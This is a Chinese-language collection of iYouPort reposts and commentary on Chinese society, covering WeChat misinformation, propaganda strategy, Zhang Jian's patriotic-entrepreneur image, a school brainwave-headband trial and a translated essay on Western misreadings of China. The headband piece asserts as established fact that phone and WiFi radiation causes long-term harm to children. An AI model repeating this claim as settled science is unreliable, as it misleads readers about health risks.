群聊唯一的优势也恰恰就是社交网络最大价值之一：对人的笼络、号召和联合的便捷。不过很难想象在长期自我审查习惯下的微信群组能否实现这个目的，它与 Facebook 群组/专页在此有天壤之别。

没有人会反对信息流通，但在审查做为准入机制的中文墙内内容市场里人们更关心的是如何让信息得以保留，更加之传播者对吸睛度和自身影响力的追求，其结果就是导致了一种伪造的和谐、通畅的假相。

它不止是倒卖信息的最佳场域，也是假消息的沃土－－熟人环境中直觉型认知几乎就是全部。就在前两天，微信群聊中流传着一个反穆斯林移民的消息，它是典型的、低水平的 # fakenews, 而它在数十个群聊中热传，其中包括媒体人士的群组。一位西方记者表示，在多个群聊中指出该消息的不实后不但没能缓解反而“促使”该消息传得更快了，足证，人们的交流并不是思考探索和学习的目的，而是单纯的寻找话题、消解寂寞。

信息倒卖多出现于个体账号，尤其是评论内容。本网曾对中国评论界名流把自己的名片挂在文章标题和短评上这种现象表示过好奇，在英文舆论圈除了希拉里的 tweet，还没有哪位知名或不知名的评论人这样做过。人们将其解释为对版权的维护，或许可以理解，因为中文网络上的转发者大多缺乏主动探寻和携带信源的习惯，甚至不喜欢转发、直接复制内容本身进行搬运，结果就是，受众经常很难意识到其究竟是原创还是转载。更多见的是擅长“整合”的所谓舆情观察者，他们很喜欢将各方面的观点打包并处理成自己的语言再说出来，他们的影响力甚至能在中文网络超越被他们抓取到的原创。

不爱转发更喜欢转述的特点中文网络比英文网络明显许多，有‘洁癖’的评论人士更不在少数，他们浏览其他观点，但并不转发或跟评，而是单独做出评论，于是你经常不知道他们的语境在哪，只能体会字面的意思。

语言问题最容易理解，将不同语种的信息翻译后发布在中文网络本身就是一种很好的服务，不过标注来源或给出原文链接的习惯还没有普及。更有判断力和思考的缺乏所导致的置于信息抓取屏障上的错误屡见不鲜，它们多与翻译者的个人偏见和认知问题相关，比如中国伊斯兰恐惧症群体对欧美的反移民群体制造的假新闻很有兴趣，他们会专门翻译那些侮辱穆斯林的消息，如果其受众第二语言能力缺乏、对英

文信源的公信力差异不甚理解，这类翻译服务所带来的影响将变得非常恶劣。

思考习惯缺乏的危害远比你想象中的更为严重。威权政府用不讲理巩固了政权，民粹主义政客用无知和浅薄赚得了支持，社交媒体上的假新闻生产者借助人们的直觉和偏见影响了现实政治，但很多他们的反对者在此并没能实现突破。

英文圈的热点话题和热门概念在中国往往有不一样的解释，而正是不思考让严重的误解得以传播推广。比如“舆情”这个最常见的中文词汇，它与西方颇受关注的“社交网络情绪指数”其实是一种东西，但却又有着完全不一样的性质。

舆情在中国一定程度上已经成为政府扶持的大V和著名五毛的观点的代名词，商业化、审查机制对所谓正能量的要求，还有投机客的兴奋，都在改变着这个概念的属性。地方政府和大企业可以购买网络名人的嘴协助宣传和压制负面意见，掌握着内容生杀大权的审查者可以通过删除一部分和推广另一部分来实现他们期待的意识形态一致性。而同时，少部分善于思考的人却躲进了更小的群聊、更加沉默，甚至屈服于审查满足于擦边球的快意。如果将中国网络的舆论等同与社交网络情绪指数将得到严重离谱的“中国网民意见”，西方媒体没少在此出错。

还有假新闻的概念，现在美国舆论圈已经有了基本共识，虽然沿用 fake news 这个词，但将含义定位于：为了某种目的而编造或片面强化、故意引导人们偏离事实的那些信息。这个意义上的中文表达完全可以用政治宣传来替代，但在民主国家由于人们对政客的言辞有习惯性警惕，使用宣传来替换假新闻并不是很恰当。

相关概念上直译英文内容很可能会造成误解，威权政府甚至可以借此继续宣称审查制度是“在避免谣言传播”。在谴责媒体的风潮上，中文网络和英文网络的同步性最高，但有趣的是部分中文舆论在以非专业媒体的水平和措辞特征去谴责专业媒体，说明尚未搞清媒体专业性的具体标准。

想起曾经在中国微信圈子里看到过的一个吹捧，两个人都使用 twitter，甲夸奖乙的措辞是：“你的影响力比纽约时报高多了”。虽然是吹捧，但必须承认这是句实话，纽约时报的中文账号与英文账号的影响力有天壤之别，英文的热门消息被翻译到中文版后关注者寥寥，纽约时报绝不是特例，很多多语种西方媒体一直在面临翻译选择的困境。不只有中文读者关注面的高度局限（且眼界不断收缩），还有获

取目的的差异，如果一个受众面内大多数人不是在学习和思考，而是简单的寻求认知一致性的共鸣，信息倒卖中的翻译服务就会变得困难重重。

每当我在纯粹的英文媒体中看到关于中国的空气污染问题、网络管制威胁、人权灾难的报道被欧美网友热议时，总会有一种难以言喻的感受。

原文

在中国做生意的第一课 - iYouPort

关于中国社会

“为国家服务，国家就会让你保持竞争优势”

「图」

「图」

【注：经济学人一如既往地将基调停留在嘲讽上，而非深入论述和寻取反抗。IYP对这种写作方式很不屑，虽然必须说它的结论是对的。事实上它想说的应该是保护主义 Protectionism，而不是爱国主义，但它偏偏绕开了真正的主题。就不去推测动机了，总之很讨厌。】

在中国摆脱毛泽东主义孤立状态的40年后，关于其统治者对世界的看法的一些重大问题仍是谜团重重。

从一个热点问题入手：中国领导人习近平对强调自由竞争、透明度、所有权和管理权分离、公正的监管机构和法院监督的西式股东资本主义的真实感受是什么？

听听他针对外国听众的演讲，你会认为中国是资本主义世界的榜样。它被描述为“开放和公平竞争的倡导者，捍卫自由贸易，反对那些幻想逆转全球化力量的民粹主义民族主义者”。然而，在国内，习花了同样多的时间强调国家自力更生，敦促中国企业、官员和科学家结束对外国技术的依赖。

去年11月初，政府突然暂停了本应是历史上最大的一次公开募股，引起了新的混乱。金融科技巨头蚂蚁金服的那次IPO，在其创始人马云公开抱怨监管机构的谨慎和银行的褊狭之后，失败了。

在中国，许多人感觉到了政府的警告，即使是亿万富翁也必须听从党的指挥。

11月12日，习发出了另一个信息。他访问了东部城市南通，称赞当地的一位实业家张謇是一位爱国企业家，他从1853年到1926年的人生

经历值得商界老板学习。

习近平参观了张謇的故居，称赞这位由学者转商人的古人，他建立了一个制造业帝国，还创办了学校、和中国第一个博物馆。习近平说，民营企业家致富后，应该成为有智慧、有社会责任感的人。他指示，该地要成为爱国主义教育基地。

每当一个秘密政权透露出它所重视的东西时，都值得倾听。经济学人来到张位于南通的据说是“英式”的阴暗豪宅，重走习的路。

在楼下，记者找到了南通市政府的共产党员代表团。他们正在拍摄自己的参观过程，以便日后学习。在楼上一间古色古香的房间里，当被问及从习对爱国企业家的赞美中得到了什么启示时，当地人张元新[音]毫不犹豫地说：“习主席对爱国企业家的赞美让我收获良多”。他解释说，很多企业类型的人只想着钱，现在是他们回报社会的时候了。

一位来自国有石油公司的退休工程师王永健[音]，凝视着这栋豪宅主人的铜像。他注意到，张謇以优异的成绩通过了科举考试，在另一个时代，他可以在皇帝身边任职。但在19世纪末，看着中国的苦难，这位书生官吏却投身于商业。王把张謇比作英国第一台蒸汽机的发明者和美国汽车制造商的先驱亨利·福特。

实际上，张謇几乎没有创造出真正的新东西。相反，他引进和模仿英国的织布机、荷兰的灌溉系统和日本的制盐技术，以对抗外国竞争对手。

令人欣慰的是，在南通举办的展览并没有掩盖这一切。展览展示了这位企业家从身着官服的学者型官员到愤世嫉俗的民族主义者的历程。

一本日记记录了张謇对甲午战争失败后强加给中国的条约的愤怒，该条约允许外国公司在中国开设制造厂。

张謇发誓要亲自去从事工业，以拯救中国。另一个陈列品则展示了他为结束外国航运公司对中国内河的可耻统治而购买的汽船。

张謇创办的企业令人眼花缭乱，包括棉纺厂、钢铁厂、面包厂、酒厂和公共汽车公司。他创办的机构包括图书馆、孤儿院、男校（校训：“诚实、忠诚、独立、勤劳”）和女校（校训：“顾家、温顺、勤俭、温柔”）。

展览中除了褪色的支持官员照片和股份证书照片外，这个帝国的资金

情况惊人的不透明。幸运的是，张氏集团已经被历史学家彻底研究过，其中包括 William Goetzmann 和 Elisabeth Köll。他们在2005年为美国全国经济研究所撰写的论文《中国公司所有权的历史：国家赞助、公司立法和控制权问题》，描述了一个警示性的故事。

为国家服务，国家就会让你保持竞争优势

1895年，政府官员要求张氏以官办商行的形式开展业务，即 政府监督下的商人管理企业。这些公司依照清朝的安排，商人获得垄断权，例如盐业贸易，税收和向皇帝捐款用于军事远征或救灾。

即使在1904年中国通过了公司法，张氏集团成为股份制公司之后，他还是以一个家长式的专制者的身份来管理公司。他在1907年召开的第一次公司会议上，小股东抗议说，捐资建校应该来自他自己的资金，而不是公司的利润。“想想你们的良心吧”，张反驳道，没有理会他们。

既不是完全的资本主义，也不是国有，张氏商业帝国的资金来源是股权资本，但存在的目的是为国家服务。这让张对中国领导人具有持久的吸引力。

早在习近平称赞他之前，毛泽东就称他为中国四大实业家之一，“永远不应被忘记”。客观地说，张并不是一个如此成功的资本家。1922年勉强避免破产，两年后，他被银行财团免去了公司负责人的职务。他的第一次外部审计就发现了一个不透明的混乱局面。

今天，他是一个模范的爱国者。现代中国企业家可以得出自己的结论了。〇

The first lesson of doing business in China: the state comes first

原文

宣传闪电战 - iYouPort

关于中国社会

IYP在中国年之前连续发布四篇关于新闻危害民主的分析，正因为中国正在发生变化，虽然目前仍处于初级阶段，但是，该模式一旦成熟，即便有了选票也不会有民主，为什么人们应该从现在开始警惕？

由于担心年轻互联网用户的不满情绪日益增加，中国领导层已开始新一轮的宣传闪电战。

观察人士说，北京方面严重担心网络媒体对中国年轻人产生“不良影响”，并试图确保他们更多地接触官方批准的叙述。

这一驱动力的核心是一支由“千禧一代的新媒体专家”组成的团队，他们避开传统宣传的行话风格，转而采用旨在与年轻人—精通网络的公民共鸣的故事。

习近平在1月22日的高级官员会议上表示，该执政党应该把公众异议的政治风险作为他们的首要任务，并为“最坏情况”做好准备。

随着经济开始放缓，中国领导层对公众持不同意见的危险非常敏感，最近几个月，军队退伍军人、教师和青年马克思主义学生都在各地区开展抗议以争取工人权利。

演讲后第四天，习近平率领中共中央政治局委员访问了人民日报的新媒体运作，这是该党的喉舌。他详细讲述了“在公共传播中促进综合媒体发展和扩大主流语话”的重要性。

⚠请注意，这就是 **IYP** 在中国年之前提醒警惕的“媒体融合”，它是被习近平加强的趋势，该趋势一旦实现，即便有了选票也没有民主——这就是为什么 IYP 当时连续发布了四篇文章分析这一问题。事实上这一苗头自去年开始已经呈现，当时我们立即发布了一个长篇独家报道，以分析中国社会面临的近期前景。详见以下部分：

- 《独家：北京的政治宣传模式发生改变，或正对冲中国异议的弱点》
- 《新闻之死—— 民主体制是否能修复的关键是什么？》
- 《现代新闻之愚蠢并非意识形态倾向性问题 (1)》
- 《现代新闻之愚蠢 (2)—四种最致命的倾向性》
- 《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

“移动平台是首选，”习说，并希望他的宣传负责人能够“开发网站、微博、微信、电子报纸、IPTV 和其他形式的新媒体”。

一些高级官员已经听取了福建省党委书记于伟国的来电，他在习近平发表评论后三天访问了当地人民日报编辑部。

中国的互联网一直受到严格的审查，但新的焦点是习近平要求确保“党的声音可以直接到达各种用户终端”，这促使宣传部长们追求来自全国各地的新媒体专家。他们被招募、为该党的官方喉舌提供平台，并在全国8亿网络用户中推广被称为“正能量”的玩意。

1月18日，公安部部长赵克智再次警告“颜色革命”的风险—— 提到十年前席卷一些前苏联国家的抗议活动—— 并要求所有执法部队“坚决捍卫政治安全”。

经过40年的快速发展，中国的年轻一代现在能充分感觉到他们向上移动的机会较少，同时在工作和生活中面临着更大的压力。

不断增长的不满情绪使该党的领导层感到震惊，引发了一场关于一些学者的所谓“代际不平等”的争论，因为年轻的中国人失去了在该国经济繁荣高峰期长大的那一代所享有的福利。

其中一个结果是，一种被称为“丧”的懒散文化在80年代或90年代出生的人中变得流行。详见：《百忧解时代（三）令人沉迷的广义化自杀》

中国UC大数据中心的一项研究表明，这种现象是由房价暴涨、社会流动性不足以及在现代中国寻找合作伙伴的困难等因素造成的异化感所驱动的。

社交媒体加剧了这些社会分歧，许多富裕的千禧一代喜欢在网上炫耀自己的财富。

去年一个受欢迎的meme就叫“炫耀你的财富”挑战，在那里，人们张

贴照片，显示自己躺在地上，被贵重的物品包围，好像他们已经被那些高级物品绊倒了一样。

不出所料，该党重新关注社交媒体，包括积极努力抵制这一趋势。

打击行动的一部分针对的是知名度高的社交媒体帐户，这些帐户被指责煽动社会问题或未能妥善监管其内容。

反对“不负责任”的社交媒体账户“哄骗人们的焦虑”的另一个主要声音来自中央政法委的官方微信账号。这是该党努力控制社交媒体叙事的核心，使用长安剑的绰号，在11月披露其真实身份。这项新媒体运作计划由一个不到10人的小型中央团队负责，他们都出生于20世纪80年代或90年代。

该核心团队的选拔过程以及在其下工作的省级行动都是非常严格的，包括筛查候选人的政治忠诚度。

他们还需要具备执法背景—无论是在警察、法院、司法部门还是检察机关的工作经历—而且都必须熟悉微信或微博等新媒体平台，当然，他们还需要愿意在很长时间内工作于更常见在互联网初创企业而不是拥有政府部门的编制。

入选者将被送到北京进行为期六个月的强化培训，然后回各地领导省级和市级新媒体团队。

一位消息人士称，这一过程帮助新媒体中心“让来自全国各地的优秀人才保持团队新鲜感”。

培训结束后，他们可以“带回在北京获得的经验，从而建立更强大的省级队伍”。

与传统的自上而下的宣传部门结构不同，新媒体团队有更多的编辑自由，“不一定遵循高层命令”。在决定推广哪些故事时，“首先考虑的是我们能够触及人心吗？”这位知情人士说。

> 只有当我们能夺取他们的注意力的时候，我们才有希望去征服他们的心和灵魂—— 谷歌前执行主席 *Eric Schmidt*

虽然传统的官方媒体是针对党员干部的，但新媒体业务必须覆盖更广泛的受众，因此他们“必须适应更易于读者阅读的格式，并在报道中使用较少的党派行话”。他还表示，到目前为止，他们已经取得了“一

定的成功”。

官方新媒体平台在增加受众群体方面具有内在优势，因为所有省级和市级执法机构都要求其员工关注和“点赞”这些新媒体账户。所以看到那些拥有很多点赞的文章，请不要误会他们的影响力。更多详见《互联网上究竟有多少东西是假的？》

中国没有公布究竟有多少网警的官方数据，但中国社会科学院研究员范鹏估计，这一数字在2014年约为160万。

根据跟踪微信公众号的 Leibei.com 说，长安剑拥有约67万活跃用户，其微博帐户拥有超过600万粉丝。另一个官方媒体账户由人民日报负责的侠客岛 拥有超过100万活跃粉丝。

一些分析师认为，由于官方媒体垄断了硬新闻报道，这些官方账户的增长将挤压其他新媒体播放器。这就是 IYP 此前强调的“主流”为什么必须警惕，更多详见《停止主流》。

新加坡李光耀公共政策学院副教授 Alfred Wu 说：“在当前的气氛下，非官方新媒体播放器的空间将进一步被缩小。“所有政策，时事相关的报道都被官方渠道垄断，其他人只能写出星座等类似的软性内容。”

更多分析请详见《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》的最后部分，解释了为什么这种危险的全球性趋势对中国社会来说是更加危险。

How official Chinese propaganda is adapting to the social media age as disaffection spreads among millennials. Communist Party’s official outlets scouring country for new media specialists to reach 800 million web users and squeeze out ‘undesirable influences’

原文

家长阻止学校在学生头上安装电磁装置以收集脑波数据 - iYouPort

关于中国社会

这些中国父母是很明智的

「图」

「图」

不幸的是，对儿童下手的监视资本主义数据收集并不是新鲜事，尽管反对声越来越高，但这种收集仍在继续。

- 《谷歌正在对你的孩子下手》

据当地媒体报道，由于父母对隐私的担忧、以及担心自己的孩子被控制，一项涉及小学生的头戴式设备以监控注意力范围的试验已经在中国被叫停。

据称，该设备监控脑电波，并将数据发送到浙江省金华市中心小学的计算机系统，并且一些数据已与父母共享。

报道引用了一位老师的话说，该项实验已经进行了一年，而且数据也已经转移到了公司服务器上。一位姓张的老师说，“学生们报告说该设备没有副作用，并且没有与父母共享全部数据”。

这种头戴式监视设备是由总部位于美国波士顿、中国区总部位于浙江杭州的公司 "BrainCo" 开发的，该公司的网站上描述自己称 “BrainCo 是首家入选哈佛大学创新实验室(Harvard Innovation Lab)的华人团队，是全球领先的脑科技术解决方案的供应商，在教育、医疗等领域具有领先优势。”

"该公司网站"的 “核心团队” 栏目中有一位叫 **Samuel Prentice** 的人，他的简介中写着：曾担任美国国防部高级研究计划局（**DARPA**）项目主程序员。

BrainCo 中国区的一位代表也姓张，他对中国媒体表示，学生每周两次佩戴该设备，每次30分钟。

- 美国的校园监视《监狱式教学》

随着中国各地许多儿童使用智能手表、移动电话和其他跟踪位置和个人信息的设备，父母越来越关注这些数据的使用方式以及谁可以访问这些数据。

“目前，[上述学校]是中国唯一使用这种监控设备的学校。而这些监控产品已经在美国得到了更广泛的使用”，浙江 BrainCo 技术公关总监说。

哇哦 …… 这种东西也在美国使用？美国的父母对此怎么看？

就算您不关心监视问题，至少，研究已经确定，暴露于电磁辐射中可能会造成长期伤害。包括美国儿科学会在内的健康专家纷纷警告说，儿童更容易受到手机和WiFi辐射的伤害，我们应该减少儿童对电子设备的接触，而不是增加接触。〇

Parents Stop School Mounting Electromagnetic Devices On Students’ Heads to Collect Brainwave Data

原文

对中国的三个”基本误解” - iyouport

关于中国社会

来自两位美国教授的这篇文章很多地方存在片面性和表面化；但是，它代表了一大群自以为 “了解中国” 的体制内观点。所以，您必需将这篇文章和此前的另一篇文章对比起来看

这篇文章和此前6月份发布的《内卷》那篇文章有明显的不同，《内卷》来自国际反抗者完全独立的观察，其目标是更有效地协助中国的反抗者制定跨国联合战略；而这篇文章来自美国名校教授和高级讲师，即 美国精英阶层，于是它所采取的是以利益集团的利益为主导的视角。

您可以将《内卷》理解为体制外，将本文理解为体制内。这样对比起来看，您会看到中国反抗者可以借助的 “国际力量” 在哪里。

顺便说，这篇文章整体上显示出的是观察角度不充分和表面化 —— 它只观察到了一些中国被称为 “粉红” 的人群的外观，以及北京政权的外观；不仅中国的反抗者被完全无视，并且，中国的体制内物质主义思维方式也被完全忽略了 —— 它认为中国体制内人都信仰马列，这是荒唐的。中国和当年的苏联最大的不同就在于，中国人普遍没有信仰，尤其是权贵阶层，那些人崇拜金钱和权力倒很可能是真的。

但它有一点没说错，中国人更多关注的是短期利益，下意识地放弃长远计划，这是源于长期的政治不确定性和缺乏安全感让人们无法制定长远计划。

这篇文章的两位作者是：拉纳·米特 (Rana Mitter) 是牛津大学现代中国历史和政治学教授；和 Elsbeth Johnson，曾担任 Prudential PLC 亚洲业务的战略总监，是麻省理工学院斯隆商学院的高级讲师，也是咨询公司 SystemShift 的创始人。

文章使用第一人称讲述。

当我们在20世纪90年代初第一次到中国旅行时，这个国家与我们今天看到的情况有很大的不同。当时，即使在北京，许多人也穿着毛泽东式的衣服，骑自行车到处走；只有中国共产党（CCP）的高级官员使用汽车。在农村，生活保留了许多传统元素。但在接下来的30年里，由于旨在发展经济和增加资本投资的政策，中国成为一个全球大国，拥有世界第二大经济体和一个急于消费的新兴中产阶级。

不过，有一件事没有改变：许多西方政治家和企业高管仍然不了解中国。例如，他们相信政治自由会伴随新的经济自由，错误地认为中国的互联网会类似于西方那种经常具有政治破坏性的版本。他们认为中国的经济增长必须建立在与西方相同的基础上，但许多人没有考虑到中国作为投资者、监管者和知识产权所有者的持续角色。

《*Understanding China: Series reprint*》

为什么会有这些误解？我们发现商界和政界人士经常坚持对现代中国的三个广泛认同但本质上错误的假设。正如我们在下文中所论证的，这些假设反映了他们对中国历史、文化和语言知识的不了解，这些不了解鼓励他们在中国和其他国家之间进行虽然有说服力但却是严重缺陷的类比。

误解1 ：“经济和民主是一个硬币的两面”

「图」

许多西方人认为，中国的发展轨迹与日本、英国、德国和法国在二战结束后立即开始的发展轨迹相同 —— 唯一不同的是，中国在经历了40年的毛主义时代后，比其他亚洲经济体 —— 如韩国和马来西亚 —— 起步晚得多。根据这一观点，西方人认为经济增长和日益繁荣“将使中国的经济和政治都走向更自由的模式，就像那些国家那样”。

【注：这里指的“西方人”很可能是华盛顿体制内的自由派。我所了解的大多数西方人都不这样认为。】

这是一种听起来合理的叙述。正如作家 Yuval Noah Harari 所指出的，自冷战结束以来，自由主义几乎没有竞争对手，当时法西斯主义和共产主义似乎都被打败了。这种说法也有一些强有力的支持者。如美国前总统克林顿在2000年的一次演讲中宣称：“通过加入世贸组织，中国不仅仅是同意进口更多我们美国的产品，它还会同意进口民主最珍视的价值之一：经济自由。当个人有能力 …… 实现自己的梦想时，他们就会要求更大的发言权。”

但是，这种说法忽略了中国与美国、日本、英国、德国和法国之间的一些基本差异。这些国家自1945年以来一直是具有独立司法机构的多元民主国家。因此，经济增长与社会进步同步进行（例如，通过立法保护个人选择和少数民族权利），这使人们很容易想象它们是一个硬币的两面。苏联的解体似乎验证了这一信念，因为苏维埃政权没有能力为其公民提供有意义的经济增长，导致了它的解体。在戈尔巴乔夫的政治改革（glasnost）之后，俄罗斯最终融入了全球经济（perestroika）。

然而，在中国，经济增长是在稳定的共产主义统治背景下实现的，这表明民主和增长并非不可避免地相互依赖。事实上，许多中国人认为，中国最近的经济成就—— 大规模的减贫、巨大的基础设施投资和发展成为世界级的科技创新者—— 是 “得益于”中国的专制政府形式，而不是尽管如此。中国对 Covid-19 的积极处理与许多西方国家形成鲜明对比，这些国家的死亡率较高，后来的封锁也不那么严格，如果有的话，这也加强了这种观点。【原文如此】

中国还打破了关于其威权主义政治体制将抑制其创新能力的预测。它是人工智能、生物技术和太空探索的全球领导者。它的一些技术成就是由市场力量推动的。人们想要购买商品或更容易沟通，而阿里巴巴和腾讯等公司帮助他们做到了这一点。但大部分技术进步来自于高度创新和资金充足的军队，他们对中国新兴产业进行了大量投资。当然，这反映了美国国防和情报支出在硅谷发展中的作用。但在中国，消费者应用来得更快，使政府投资与惠及个人的产品和服务之间的联系更加明显。这就是为什么普通中国人将阿里巴巴、华为和TikTok等中国公司视为 “民族自豪感” 的来源 —— 中国成功的国际先锋，而不是像西方人那样简单地看待它们的就业或GDP来源。

因此，哈佛大学肯尼迪政府学院阿什中心2020年7月的民意调查数据显示，中国公民对北京政府的满意度为95%。我们自己在中国的实地经验证实了这一点。我们遇到的大多数普通人并不觉得专制国家完全是压迫性的，尽管它可能是这样；对他们来说，专制国家也提供了机会。重庆的一名清洁工现在拥有几套公寓，因为中共改革了财产法。一位上海记者从被国家控制的杂志中获得报酬，飞往世界各地报道全球生活方式的趋势。南京的一名年轻学生可以在北京的清华大学学习物理学，这要归功于社会流动性和党对科学研究的大量投资。

【原文如此！】

过去十年，如果说有什么变化的话，那就是加强了中国领导人的观点，即 没有政治自由化就可以进行经济改革。一个重要的转折点是

2008年的金融危机，在中国人眼中，这场危机揭示了“华盛顿共识”的空洞性，即 民主化和经济成功是联系在一起的。在此后的几年里，中国已经成为一个经济巨人，一个技术创新的全球领导者，一个军事超级大国，同时收紧了其政府的威权制度—— 并加强了一种信念，即 自由主义的说法不适用于中国。

这也许就是为什么中国现任领导人和（更关键的）党的总书记习近平让人们知道，他认为戈尔巴乔夫是事业的叛徒，因为他的自由主义化，从而破坏了共产党对苏联的控制。而当习近平在2017年宣布中国发展的“三场关键战役”将落在降低金融风险、解决污染和扶贫领域时，他也明确表示，这些改革的目标是巩固制度，而不是改变制度。那么，事实是，中国不是一个寻求变得更加自由派的专制国家，而是一个寻求变得更加成功的专制国家—— 政治上和经济上。

在许多西方的分析中，最常附在中国改革上的动词是“停滞”。事实是，中国的政治改革并没有停滞。它继续快速发展。只是这不是自由主义的改革。

一个例子是2010年代末中央纪律检查委员会的重塑。习近平授权该委员会处理在该十年初变得如此普遍的腐败问题，该委员会可以逮捕和拘留嫌疑人几个月；其决定不能被中国的任何其他实体推翻，甚至不能被最高法院推翻。该委员会成功地减少了腐败【原文如此】，这在很大程度上是因为它基本上凌驾于法律之上—— 这在一个自由民主国家是不可想象的。这些都是中国正在进行的改革—— 它们需要根据中国自己的条件来理解，而不是简单地作为自由主义模式的一个扭曲或缺陷的版本。

许多人误读中国的发展轨迹的一个原因可能是 —— 特别是在中国人在海外使用的英文宣传材料中 —— 中国倾向于将自己描绘成一个自由国家的变体，因此更“值得信赖”。它经常将自己与西方人熟悉的品牌进行比较。例如，在说明为什么它应该参与英国的5G基础设施建设时，华为将自己称为“中国的约翰·刘易斯”，指的是英国著名的百货公司，它经常被评为英国最值得信赖的品牌之一。

中国也经常不厌其烦地向外国政府或投资者暗示，它在许多方面与西方国家相似 —— 消费者的生活方式、休闲旅游和对高等教育的高需求。这些相似之处是真实的，但它们是中国新近富裕起来的中产阶级的财富和个人愿望的表现，它们绝不是否定中国和西方的政治制度之间非常真实的差异的理由。

这就带来了下一个误解。

误解2: “专制政治制度不可能是合法的”

「图」

许多中国人不仅不相信民主是经济成功的必要条件，而且相信中国的政府形式是合法和有效的【原文如此】。西方人不理解这一点，这就解释了为什么许多人仍然期望中国减少其作为投资者、监管者，尤其是知识产权所有者的角色，而事实上，中国政府认为这种角色是必不可少的。

在中国人眼里，这个系统的合法性有一部分也是源于历史。中国经常不得不击退入侵者，而且，正如西方国家很少承认的那样，从1937年到1941年美国加入第二次世界大战，中国基本上是独自对抗日本。所取得的胜利，几十年来被中国共产党说成是独自战胜了一个外部敌人，并通过击败一个内部敌人（1949年的蒋介石）而得到加强，从而确立了该党及其威权制度的合法性。

70年过去了，许多中国人仍然认为，他们的政治制度现在实际上比西方的政治制度更加合法和有效。这对许多西方企业高管来说是一种陌生的信念，特别是如果他们有其他威权制度的经验的话。关键的区别在于，中国的制度不仅是马克思主义，而且是马克思列宁主义。根据我们的经验，许多西方人不明白这意味着什么，也不明白为什么这很重要。【可能只有体制内自由派和右翼 “不明白”】

马克思主义体系主要关注的是经济成果。当然，这有政治含义——例如，资产的公共所有权对于确保财富的平等分配是必要的—— 但经济结果是重点。然而，列宁主义本质上是一种政治学说；其主要目的是控制。因此，一个马克思列宁主义体系不仅关注经济结果，而且还关注获得和保持对体系本身的控制。

这对寻求在中国做生意的外国人有巨大的影响。如果中国只关心经济成果，它就会欢迎外国企业和投资者，只要他们帮助实现经济增长，就会把他们当作平等的伙伴，对谁拥有知识产权或合资企业中的多数股权不加理会。但由于这也是一个列宁主义体系，于是这些问题对中国领导人至关重要，他们不会改变对这些问题的看法，无论他们的外国伙伴在经济上多么有效或有帮助。

每当一家西方公司就进入中国市场进行谈判时，就会出现这种情况。我们都参加过一些会议，会上企业高管，特别是技术和制药行业的高管，对中国坚持要求他们将知识产权的所有权转让给中国公司表示惊讶。一些人表示乐观，认为在他们证明自己作为合作伙伴的价值后，

中国对控制权的需求会减少。我们的回应是：这是不可能的，正是因为在中国特殊的威权主义品牌中，控制是关键。

用列宁主义的方法来选拔未来的领导人也是中国共产党保持其合法性的一种方式，因为对许多普通中国人来说，这种方法能产生相对称职的领导人。他们被中国共产党选中，并通过成功地管理一个城镇，然后是一个省，在这个系统中不断进步；之后他们才进入政治局。在中国，如果你没有证明你作为管理者的价值，你就不能成为高级领导人。中国的领导人认为，其基本上是列宁主义的规则书使中国远没有许多其他国家（特别是西方国家）的政治专断和裙带关系（尽管北京体制同样有其背后的争斗和不透明的决策）。

熟悉列宁主义学说对于出人头地仍然很重要。进入中国共产党和大学需要学习马克思列宁主义思想的必修课程，这也已经成为流行文化的一部分，2018年的电视谈话节目《马克思是对的》就是证明。而且，有了“学习强国”等方便的应用程序来教授包括马克思、列宁、毛泽东和习近平在内的思想家的基本知识，政治教育现在是一项21世纪的事业。

如果您错过了《学习”强国”的后门—扫描你的手机、运行任意命令》

政治的列宁主义性质还体现在讨论政治的语言上。中国的政治话语仍然以马克思列宁主义的“斗争”和“矛盾”思想为基础 —— 两者都被视为迫使进行必要的甚至健康的对抗的属性，可以帮助实现胜利的结果。事实上，中国人对解决冲突的说法可能意味着一方战胜另一方的结果，而不是双方都满意的结果。因此，有一个老笑话说，中国对双赢局面的定义是中国赢两次。

【注：“中国赢两次”的笑话就来自中国民间异议，而且其作为讽刺，流传广度远超过“学习强国”所讲述的内容；然而民间异议却被本文的作者完全无视，非常神奇。】

中国利用其特殊的威权模式及其假定的合法性，以在自由民主国家中被认为具有高度侵入性的方式，与民众建立信任。例如，荣成市利用大数据（通过监控和其他数据采集基础设施提供给政府），给人们提供个性化的“社会信用分数”。这些分数被用来根据公民的政治和财务美德或恶习来奖励或惩罚他们。其好处包括金融（例如，获得抵押贷款）和社会（允许购买新高速列车的车票）。那些社会信用分数低的人可能会发现自己无法购买机票或孩子无法就读想要的学校。对于（在中国和其他地方的）自由派来说，这是一个令人震惊的前景；但对于中国的许多普通人来说，这是个人和国家之间社会契约的一个完

全合理的部分。【原文如此！】

这些想法可能看起来与中国向其国际英语观众展示的 “仁” 和 “和谐” 的外向型儒家概念非常不同【原文如此。但 “国际观众” 绝非都是 “英语观众”，中国的外宣使用的也绝非英语一个语种】。但是，即使是这些概念也会导致西方人产生相当大的误解，他们往往将儒家思想简化为关于和平与合作的诱人想法。对中国人来说，这些结果的关键是尊重适当的等级制度，这本身就是一种控制的手段。虽然在启蒙运动后的西方看来，等级制度和平等可能是对立的概念，但在中国，它们仍然是内在的互补。

如果西方人要对如何与中国打交道或在中国投资做出更现实的长期决定，那么认识到马列主义专制制度在中国被接受为不仅合法而且有效，是至关重要的。但第三个假设也会误导那些寻求与中国交往的人。

误解3: “中国人像西方人一样生活、工作和投资”

「图」

中国的近代史意味着中国人和国家在处理决策时与西方人有着很大的不同—— 无论是他们使用的时间框架还是他们最担心的风险。但是，由于人类倾向于相信其他人类会像他们自己一样做决定，这可能是西方人最难克服的假设。

让我们想象一位今天65岁的中国妇女的个人历史。她出生于1955年，小时候经历了可怕的大跃进饥荒，2000万中国人在饥荒中饿死。她在十几岁时是一名红卫兵，对毛主席大喊崇拜，而她的父母却因受教育而被再教育。到1980年代，她是第一代回到大学的人，甚至参加了天安门广场的示威。

然后，在20世纪90年代，她利用新的经济自由，在一个新的经济特区成为一个30多岁的企业家。她买了一套公寓—— 这是她家历史上第一次有人拥有房产。她渴望获得经验，在一家位于上海的外国资产管理公司担任投资分析师，但尽管雇主为她制定了长期的职业规划，她还是离开了那家公司，从竞争对手那里获得了短期的小幅加薪。到2008年，她充分利用可支配收入的增长，购买了她父母只能梦寐以求的新消费品。2010年代初，随着审查制度的收紧，她开始缓和她以前在微博上直言不讳的政治评论。到2020年，她一心想看到她7岁的孙子和幼年的孙女（第二个孩子最近才合法）过得好。

